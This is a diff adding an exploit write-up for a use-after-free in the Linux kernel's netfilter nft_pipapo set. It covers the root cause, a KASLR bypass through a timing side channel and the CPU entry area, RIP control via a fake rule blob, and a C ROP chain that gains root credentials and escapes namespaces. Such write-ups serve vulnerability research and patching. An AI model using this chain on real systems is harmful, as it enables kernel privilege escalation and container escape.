|
| 1 | +# Overview |
| 2 | + |
| 3 | +The vulnerability occurs because if an element in a pipapo set expires while it is being removed, it is not properly removed from the set. |
| 4 | + |
| 5 | +```c |
| 6 | +static void nft_pipapo_remove(const struct net *net, const struct nft_set *set, |
| 7 | + const struct nft_set_elem *elem) |
| 8 | +{ |
| 9 | + struct nft_pipapo *priv = nft_set_priv(set); |
| 10 | + struct nft_pipapo_match *m = priv->clone; |
| 11 | + struct nft_pipapo_elem *e = elem->priv; |
| 12 | + int rules_f0, first_rule = 0; |
| 13 | + const u8 *data; |
| 14 | + |
| 15 | + data = (const u8 *)nft_set_ext_key(&e->ext); |
| 16 | + |
| 17 | + e = pipapo_get(net, set, data, 0); // [1] |
| 18 | + if (IS_ERR(e)) |
| 19 | + return; |
| 20 | +``` |
| 21 | +
|
| 22 | +Removing a set element calls the `nft_pipapo_remove()`. This function calls the `pipapo_get()` to get the element and remove it from the set [1]. |
| 23 | +
|
| 24 | +```c |
| 25 | +static struct nft_pipapo_elem *pipapo_get(const struct net *net, |
| 26 | + const struct nft_set *set, |
| 27 | + const u8 *data, u8 genmask) |
| 28 | +{ |
| 29 | + nft_pipapo_for_each_field(f, i, m) { |
| 30 | + ... |
| 31 | + if (last) { |
| 32 | + if (nft_set_elem_expired(&f->mt[b].e->ext) || // [2] |
| 33 | + (genmask && |
| 34 | + !nft_set_elem_active(&f->mt[b].e->ext, genmask))) |
| 35 | + goto next_match; |
| 36 | +
|
| 37 | + ret = f->mt[b].e; |
| 38 | + goto out; |
| 39 | + } |
| 40 | + ... |
| 41 | +} |
| 42 | +``` |
| 43 | + |
| 44 | +However, if the element expires while deleting a set element, the `pipapo_get()` will not return element [2]. As a result, the set element is not removed from the set and becomes free. |
| 45 | + |
| 46 | +We can trigger a UAF from this vulnerability as follows. First, create a victim set and a victim chain, and create an immediate expr pointing to the victim chain to create a dangling pointer. At this point, the victim chain's reference count (`nft_chain->use`) is set to 1. Then, we add a set element which is configured short timeout to this victim set that points to the victim chain. Now, the reference count of the victim chain becomes 2. Next, we delete the set element to trigger the vulnerability. When the vulnerability is triggered, the victim chain's reference count is decremented twice to zero. Since the reference count of the victim chain is zero, the chain can be free. As a result, the victim chain is left as a dangling pointer in the immediate expr. |
| 47 | + |
| 48 | +# KASLR Bypass and Information Leak |
| 49 | + |
| 50 | +We used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address. |
| 51 | + |
| 52 | +# RIP Control |
| 53 | + |
| 54 | +```c |
| 55 | +struct nft_chain { |
| 56 | + struct nft_rule_blob __rcu *blob_gen_0; |
| 57 | + struct nft_rule_blob __rcu *blob_gen_1; |
| 58 | + struct list_head rules; |
| 59 | + struct list_head list; |
| 60 | + struct rhlist_head rhlhead; |
| 61 | + struct nft_table *table; |
| 62 | + u64 handle; |
| 63 | + u32 use; |
| 64 | + u8 flags:5, |
| 65 | + bound:1, |
| 66 | + genmask:2; |
| 67 | + char *name; |
| 68 | + u16 udlen; |
| 69 | + u8 *udata; |
| 70 | + |
| 71 | + /* Only used during control plane commit phase: */ |
| 72 | + struct nft_rule_blob *blob_next; |
| 73 | +}; |
| 74 | +``` |
| 75 | + |
| 76 | +When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`. We leave the chain freed and spray an object to create a fake blob in `blob_gen_0`. |
| 77 | + |
| 78 | +```c |
| 79 | +unsigned int |
| 80 | +nft_do_chain(struct nft_pktinfo *pkt, void *priv) |
| 81 | +{ |
| 82 | + ... |
| 83 | +do_chain: |
| 84 | + if (genbit) |
| 85 | + blob = rcu_dereference(chain->blob_gen_1); |
| 86 | + else |
| 87 | + blob = rcu_dereference(chain->blob_gen_0); |
| 88 | + |
| 89 | + rule = (struct nft_rule_dp *)blob->data; |
| 90 | + last_rule = (void *)blob->data + blob->size; |
| 91 | +next_rule: |
| 92 | + regs.verdict.code = NFT_CONTINUE; |
| 93 | + for (; rule < last_rule; rule = nft_rule_next(rule)) { |
| 94 | + nft_rule_dp_for_each_expr(expr, last, rule) { |
| 95 | + if (expr->ops == &nft_cmp_fast_ops) |
| 96 | + nft_cmp_fast_eval(expr, ®s); |
| 97 | + else if (expr->ops == &nft_cmp16_fast_ops) |
| 98 | + nft_cmp16_fast_eval(expr, ®s); |
| 99 | + else if (expr->ops == &nft_bitwise_fast_ops) |
| 100 | + nft_bitwise_fast_eval(expr, ®s); |
| 101 | + else if (expr->ops != &nft_payload_fast_ops || |
| 102 | + !nft_payload_fast_eval(expr, ®s, pkt)) |
| 103 | + expr_call_ops_eval(expr, ®s, pkt); |
| 104 | + |
| 105 | + if (regs.verdict.code != NFT_CONTINUE) |
| 106 | + break; |
| 107 | + } |
| 108 | +``` |
| 109 | +
|
| 110 | +```c |
| 111 | +static void expr_call_ops_eval(const struct nft_expr *expr, |
| 112 | + struct nft_regs *regs, |
| 113 | + struct nft_pktinfo *pkt) |
| 114 | +{ |
| 115 | +#ifdef CONFIG_RETPOLINE |
| 116 | + unsigned long e = (unsigned long)expr->ops->eval; |
| 117 | +#define X(e, fun) \ |
| 118 | + do { if ((e) == (unsigned long)(fun)) \ |
| 119 | + return fun(expr, regs, pkt); } while (0) |
| 120 | +
|
| 121 | + X(e, nft_payload_eval); |
| 122 | + X(e, nft_cmp_eval); |
| 123 | + X(e, nft_counter_eval); |
| 124 | + X(e, nft_meta_get_eval); |
| 125 | + X(e, nft_lookup_eval); |
| 126 | + X(e, nft_range_eval); |
| 127 | + X(e, nft_immediate_eval); |
| 128 | + X(e, nft_byteorder_eval); |
| 129 | + X(e, nft_dynset_eval); |
| 130 | + X(e, nft_rt_get_eval); |
| 131 | + X(e, nft_bitwise_eval); |
| 132 | +#undef X |
| 133 | +#endif /* CONFIG_RETPOLINE */ |
| 134 | + expr->ops->eval(expr, regs, pkt); |
| 135 | +} |
| 136 | +``` |
| 137 | + |
| 138 | +`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the CPU entry area to control the RIP. We allocate the fake blob object larger than 0x2000 to use page allocator. |
| 139 | + |
| 140 | +# Post-RIP |
| 141 | + |
| 142 | +The ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator. |
| 143 | + |
| 144 | +When `eval()` is called, `RBX` points to `chain->blob_gen_0+0x10`, which is the beginning of the `nft_expr` structure. |
| 145 | + |
| 146 | +```c |
| 147 | +void rop_chain(uint64_t* data){ |
| 148 | + int i = 0; |
| 149 | + |
| 150 | + // nft_rule_blob.size > 0 |
| 151 | + data[i++] = 0x100; |
| 152 | + // nft_rule_blob.dlen > 0 |
| 153 | + data[i++] = 0x100; |
| 154 | + |
| 155 | + // fake ops addr |
| 156 | + data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval); |
| 157 | + |
| 158 | + // current = find_task_by_vpid(getpid()) |
| 159 | + data[i++] = kbase + POP_RDI_RET; |
| 160 | + data[i++] = getpid(); |
| 161 | + data[i++] = kbase + FIND_TASK_BY_VPID; |
| 162 | + |
| 163 | + // current += offsetof(struct task_struct, rcu_read_lock_nesting) |
| 164 | + data[i++] = kbase + POP_RSI_RET; |
| 165 | + data[i++] = RCU_READ_LOCK_NESTING_OFF; |
| 166 | + data[i++] = kbase + ADD_RAX_RSI_RET; |
| 167 | + |
| 168 | + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) |
| 169 | + data[i++] = kbase + POP_RCX_RET; |
| 170 | + data[i++] = 0; |
| 171 | + data[i++] = kbase + MOV_RAX_RCX_RET; |
| 172 | + |
| 173 | + // Bypass "schedule while atomic": set oops_in_progress = 1 |
| 174 | + data[i++] = kbase + POP_RDI_RET; |
| 175 | + data[i++] = 1; |
| 176 | + data[i++] = kbase + POP_RSI_RET; |
| 177 | + data[i++] = kbase + OOPS_IN_PROGRESS; |
| 178 | + data[i++] = kbase + MOV_RSI_RDI_RET; |
| 179 | + |
| 180 | + // commit_creds(&init_cred) |
| 181 | + data[i++] = kbase + POP_RDI_RET; |
| 182 | + data[i++] = kbase + INIT_CRED; |
| 183 | + data[i++] = kbase + COMMIT_CREDS; |
| 184 | + |
| 185 | + // find_task_by_vpid(1) |
| 186 | + data[i++] = kbase + POP_RDI_RET; |
| 187 | + data[i++] = 1; |
| 188 | + data[i++] = kbase + FIND_TASK_BY_VPID; |
| 189 | + |
| 190 | + data[i++] = kbase + POP_RSI_RET; |
| 191 | + data[i++] = 0; |
| 192 | + |
| 193 | + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) |
| 194 | + data[i++] = kbase + MOV_RDI_RAX_RET; |
| 195 | + data[i++] = kbase + POP_RSI_RET; |
| 196 | + data[i++] = kbase + INIT_NSPROXY; |
| 197 | + data[i++] = kbase + SWITCH_TASK_NAMESPACES; |
| 198 | + |
| 199 | + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; |
| 200 | + data[i++] = 0; |
| 201 | + data[i++] = 0; |
| 202 | + data[i++] = _user_rip; |
| 203 | + data[i++] = _user_cs; |
| 204 | + data[i++] = _user_rflags; |
| 205 | + data[i++] = _user_sp; |
| 206 | + data[i++] = _user_ss; |
| 207 | +} |
| 208 | +``` |
0 commit comments